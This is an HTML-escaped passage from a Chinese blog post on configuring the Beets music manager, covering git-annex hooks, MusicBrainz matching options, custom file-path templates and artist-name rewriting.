&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;library&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; ~&#x2F;Music&#x2F;beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;hooks&quot;&gt;hooks&lt;&#x2F;h4&gt;
&lt;p&gt;由于我使用了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;git-annex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;locked
files&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;形式来管理二进制文件，所以我得在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;修改数据库之前解锁数据库。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;hook&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  hooks&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; import_begin&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;      command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git annex unlock beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;    -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; event&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; cli_exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;      command&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; git annex add beets.sqlite3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;实事求是，不自以为是&quot;&gt;实事求是，不自以为是&lt;&#x2F;h4&gt;
&lt;p&gt;如果某张专辑（一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release
group）有多个版本（多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会帮你挑一个看起来像的。这里问题大了，因为默认情况下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只会使用音乐家名、专辑名和音轨数查阅&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz，你需要手动指定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;musicbrainz.extra_tags&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;才可以用更多的元数据去搜索。&lt;&#x2F;p&gt;
&lt;p&gt;还有一个相关的选项是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;match&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;match.max_rec&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以设置如果某个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的这项元数据与你要导入的文件不同，会受到多大的处罚；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;match.preferred&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以设置你更希望某项元数据是什么值的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;排在前面。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;match.preferred.ignored_media&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以排除某些介质——但貌似不是每回都起作用&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-9&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-9-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-9-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[9]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-9-content&quot;&gt;我想，应该没人会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;黑胶这种高音不够、低音不准，还只有单声道的介质吧。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  timid&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  move&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  duplicate_action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; remove&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;musicbrainz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  extra_tags&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;year&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; country&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  max_rec&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    year&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; strong&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  preferred&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    countries&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;GB&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;XE&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Digital Media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;CD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    ignored_media&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Vinyl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;12&amp;quot; Vinyl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些都比不了开启谨小慎微模式的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;import.timid: yes&lt;&#x2F;code&gt;。只要设置了它，Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在自作主张之前都会问你，而你可以直接输入你想要的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release
id（不过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;media&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digital
Media&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相对较少，所以大部分情况下不需要手动输&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;id&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;还有一个加强&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;搜索功能的插件，叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;x1ppy&#x2F;beets-originquery&quot;&gt;beets-originquery&lt;&#x2F;a&gt;。它期望你在待导入专辑目录里写一个记录了正确元数据的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;txt&#x2F;JSON。但我还是觉得不如直接在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;找到想要的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release
id，复制到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那里方便。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;自定义音乐路径&quot;&gt;自定义音乐路径&lt;&#x2F;h4&gt;
&lt;p&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的默认路径是&lt;code&gt;艺术家&#x2F;专辑名&#x2F;音轨序号 标题.扩展名&lt;&#x2F;code&gt;的形式（例如：&lt;code&gt;Radiohead&#x2F;OK Computer OKNOTOK 1997 2017&#x2F;01 Airbag.flac&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。多盘专辑的序号是累计的（比如：&lt;code&gt;Radiohead&#x2F;OK Computer OKNOTOK 1997 2017&#x2F;13 I Promise.flac&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我不喜欢它累计序号的命名方式，所以自定义了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Disc xx&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹来细分每张盘的内容（变成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Radiohead&#x2F;OK Computer OKNOTOK 1997 2017&#x2F;Disc 02&#x2F;01 I Promise.flac&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。但是这样有两个问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;beetbox&#x2F;beets&#x2F;issues&#x2F;231&quot;&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会在导入时随机把封面图片放进某张盘的文件夹里，而我想让封面出现在专辑文件夹&lt;&#x2F;a&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;我的播放器期望封面和音乐文件在一个文件夹，它不会检查父文件夹里面有没有封面。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以，我只能退而求其次，把所有盘的歌曲都放在同一文件夹，使用“盘号&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;-&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;盘内序号”的前缀来命名——忘了说，这个命名只是文件名而已，播放器会根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FLAC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;DISCNUMBER&lt;&#x2F;code&gt;、&lt;code&gt;TRACK&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;元数据排序&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-10&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-10-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-10-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[10]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-10-content&quot;&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;该用哪种横杠”一直是个难题。这里用键盘上的减号命名只是为了在使用命令行时更方便。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;所以如果不关心播放器背后的文件的话，可以不用管这事。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;per_disc_numbering&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; yes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;album_fields&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  multidisc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; disctotal &amp;gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;item_fields&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  file_src&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    path_str = path.decode().lower()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    for source in [&amp;quot;deemix&amp;quot;, &amp;quot;rip&amp;quot;, &amp;quot;bandcamp&amp;quot;, &amp;quot;yt&amp;quot;, &amp;quot;nyaa&amp;quot;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;        if source in path_str:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;            return source&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;    return &amp;quot;other&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;paths&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  default&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $file_src&#x2F;%the{$albumartist}&#x2F;%the{$album}%aunique{}&#x2F;%if{$multidisc,$disc-}$track $title&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  comp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; $file_src&#x2F;Various Artists&#x2F;%the{$album}%aunique{}&#x2F;%if{$multidisc,$disc-}$track $title&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除去用于多盘专辑命名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;per_disc_numbering&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;album_fields.multidisc&lt;&#x2F;code&gt;，我还设置了用于标注歌曲来源的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;item_fields.file_src&lt;&#x2F;code&gt;。在导入之前，我已经按来源放在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;inbox&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件夹里了，所以这里只是根据导入前的路径复制一下文件夹名称。这样，我从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下载的《OK
Computer OKNOTOK 1997
2017》就会被放入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;deemix&#x2F;Radiohead&#x2F;OK Computer OKNOTOK 1997 2017&lt;&#x2F;code&gt;，自己&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Moon Safari&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则会被安置在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;rip&#x2F;Air&#x2F;Moon Safari&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中。&lt;&#x2F;p&gt;
&lt;p&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这点很好，让我想起了&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;vita-brevis&#x2F;#%E5%A1%9E%E5%86%85%E5%8A%A0%E6%98%AF%E9%81%93%E5%BE%B7%E5%AE%B6%E8%BF%98%E6%98%AF%E9%AA%97%E5%AD%90%EF%BC%9F&quot;&gt;古罗马教育家昆体良的话&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Calibre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;作为电子书管理软件有很多值得我们赞许的地方，甚至也有很多值得我们钦佩的地方。要是能让我们自定义电子书在库中的命名方式就好了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;规范音乐家的名称&#x2F;把多位音乐家记录成一位&quot;&gt;规范音乐家的名称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把多位音乐家记录成一位&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;rewrite&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;选项可以把音乐家嵌入在音乐文件中的名字转换成自己期望的名字。比如把日文汉字名换成中文汉字名。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;rewrite&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist Sunset Rollercoaster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 落日飞车&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist The Who &amp;amp; Isobel Griffiths Orchestra&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; The Who&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  artist 牛尾憲輔&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; 牛尾宪辅&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它还可以把多个艺术家的名称替换成一位。其实正确的做法应该是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FLAC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，使用多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ARTIST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;元数据（FLAC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的每个元数据都可以有多个值&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中，使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NUL&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;字符（␀）分隔音乐家。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
